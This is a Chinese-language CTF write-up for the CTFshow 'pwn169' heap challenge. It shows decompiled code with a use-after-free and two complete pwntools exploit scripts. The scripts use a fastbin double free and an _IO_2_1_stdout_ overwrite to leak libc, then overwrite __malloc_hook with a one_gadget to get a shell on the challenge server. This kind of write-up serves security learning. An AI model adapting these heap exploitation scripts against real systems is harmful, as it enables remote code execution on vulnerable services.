CTFshow-pwn169

[!NOTE]

该怎么泄漏呢?

  • 远程环境:Ubuntu 16.04

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

checksec 看一下,保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn169
[*] '/home/niuyingying/ctf/pwn/pwn169'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

分析程序流程,大致如下

unsigned __int64 menu()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("1. create you skills");
  puts("2. delete you skills");
  puts("3. rename your skills");
  puts("choice >> ");
  return __readfsqword(0x28u) ^ v1;
}
__int64 create()
{
  int v1; // [rsp+8h] [rbp-18h] BYREF
  int v2; // [rsp+Ch] [rbp-14h]
  void *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("wlecome input your size of skills: ");
  _isoc99_scanf("%d", &v1);
  if ( v1 <= 0 || v1 > 0x60 )
  {
    printf("The size of skills is too dangers!!");
    exit(0);
  }
  printf("input index: ");
  v2 = read_int();
  v3 = malloc(v1);
  if ( !v3 )
  {
    printf("malloc error");
    exit(0);
  }
  dword_202068[4 * v2] = v1;
  *((_QWORD *)&unk_202060 + 2 * v2) = v3;
  puts("input your name:");
  read_n(*((void **)&unk_202060 + 2 * v2), v1);
  return 0;
}
unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input idx :");
  v1 = read_int();
  free(*((void **)&unk_202060 + 2 * v1));
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 rename()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input idx: ");
  v1 = read_int();
  puts("new content:");
  read_n(*((_QWORD *)&unk_202060 + 2 * v1), (unsigned int)dword_202068[4 * v1]);
  puts("Done !");
  return __readfsqword(0x28u) ^ v2;
}

存在 UAF 漏洞且没有 show 函数,这道题比 pwn162 还要简单,可以直接套用脚本 pwn162 - AurY1n's Blog

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn169')
libc = ELF('./libc-2.23.so')

# io = process('./pwn169')
io = remote("pwn.challenge.ctf.show",28274)

# io = gdb.debug('./pwn169', gdbscript='set pagination off\nbreakrva 0xCB9\nbreakrva 0xD57\nbreakrva 0xE19\nc')

def create(size,i,text):
    io.recvuntil(b"choice >> \n")
    io.sendline(b"1")
    io.recvuntil(b"wlecome input your size of skills: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"input index: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"input your name:\n")
    io.send(text)

def delete(i):
    io.recvuntil(b"choice >> \n")
    io.sendline(b"2")
    io.recvuntil(b"input idx :")
    io.sendline(str(i).encode())

def rename(i,text):
    io.recvuntil(b"choice >> \n")
    io.sendline(b"3")
    io.recvuntil(b"input idx: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"new content:\n")
    io.send(text)

key = (libc.sym["_IO_2_1_stdout_"] - 0x43) & 0xffff

create(0x60,0,12 * p64(0x71))
create(0x60,1,12 * p64(0x71))
create(0x10,2,p64(0xdeadbeef))

delete(1)
delete(0)
delete(1)

create(0x60,3,b"\x60")
create(0x60,4,b"\x60")
create(0x60,5,b"\x60")
create(0x60,6,p64(0) + p64(0x71))

delete(1)
rename(6,p64(0) + p64(0x91))
create(0x10,7,p64(0xdeadbeef))

delete(1)
rename(6,p64(0) + p64(0x71) + p16(key))

create(0x60,8,p64(0xdeadbeef))

io.recvuntil(b"choice >> \n")
io.sendline(b"1")
io.recvuntil(b"wlecome input your size of skills: ")
io.sendline(str(0x60).encode())
io.recvuntil(b"input index: ")
io.sendline(str(8).encode())
io.recvuntil(b"input your name:\n")
payload1 = b"\x00" * 0x33 + p64(0xFBAD1887) + p64(0) * 3 + b"\x58"
io.send(payload1)

leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

# 0x7ffff7bc56a3 - 0x7ffff7800000
libc_base = leak - 0x3c56a3
print(hex(libc_base))

one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

delete(6)
delete(1)
delete(6)

create(0x60,9,p64(malloc_hook - 0x23))
create(0x60,10,p64(malloc_hook - 0x23))
create(0x60,11,p64(malloc_hook - 0x23))

payload2 = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10)
create(0x60,12,payload2)

io.recvuntil(b"choice >> \n")
io.sendline(b"1")
io.recvuntil(b"wlecome input your size of skills: ")
io.sendline(str(0x10).encode())
io.recvuntil(b"input index: ")
io.sendline(str(13).encode())

io.interactive()

由于这道题新增 rename() 函数,所以完全可以写的更简单

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn169')
libc = ELF('./libc-2.23.so')

# io = process('./pwn169')
# io = remote("pwn.challenge.ctf.show",28274)

# io = gdb.debug('./pwn169', gdbscript='set pagination off\nbreakrva 0xCB9\nbreakrva 0xD57\nbreakrva 0xE19\nc')

def create(size,i,text):
    io.recvuntil(b"choice >> \n")
    io.sendline(b"1")
    io.recvuntil(b"wlecome input your size of skills: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"input index: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"input your name:\n")
    io.send(text)

def delete(i):
    io.recvuntil(b"choice >> \n")
    io.sendline(b"2")
    io.recvuntil(b"input idx :")
    io.sendline(str(i).encode())

def rename(i,text):
    io.recvuntil(b"choice >> \n")
    io.sendline(b"3")
    io.recvuntil(b"input idx: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"new content:\n")
    io.send(text)

for i in range(0x100):
    try:
        io = remote("pwn.challenge.ctf.show", 28274)

        key = (libc.sym["_IO_2_1_stdout_"] - 0x43) & 0xffff

        create(0x58, 0, b"\x00" * 0x48 + p64(0x61))
        create(0x60, 1, b"\x00")
        create(0x18, 2, b"\x00")
        create(0x58, 3, b"\x00")

        delete(1)
        delete(3)
        delete(0)

        rename(0, b"\x50")
        create(0x58, 4, b"\x00")
        create(0x58, 5, b"\x00" * 8 + p64(0x91))

        delete(1)
        rename(1, p16(key))
        rename(5, b"\x00" * 8 + p64(0x71))

        create(0x60, 6, b"\x00")
        create(0x60, 7, b"\x00" * 0x33 + p64(0xFBAD1887) + p64(0) * 3 + b"\x58")

        leak = u64(io.recv(6).ljust(8, b'\x00'))
        print(hex(leak))

        # 0x7ffff7bc56a3 - 0x7ffff7800000
        libc_base = leak - 0x3c56a3
        print(hex(libc_base))

        one_gadget = libc_base + 0x4526a
        malloc_hook = libc_base + libc.sym['__malloc_hook']
        realloc = libc_base + libc.sym['realloc']

        delete(1)
        rename(1, p64(malloc_hook - 0x23))
        create(0x60, 1, b"\x00")

        payload2 = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10)
        create(0x60, 8, payload2)

        io.recvuntil(b"choice >> \n")
        io.sendline(b"1")
        io.recvuntil(b"wlecome input your size of skills: ")
        io.sendline(str(0x10).encode())
        io.recvuntil(b"input index: ")
        io.sendline(str(13).encode())

        io.interactive()

        break
    except EOFError:
        try:
            io.close()
        except:
            pass
posted @ 2026-08-10 16:23  AurY1n  阅读(0)  评论(0)    收藏  举报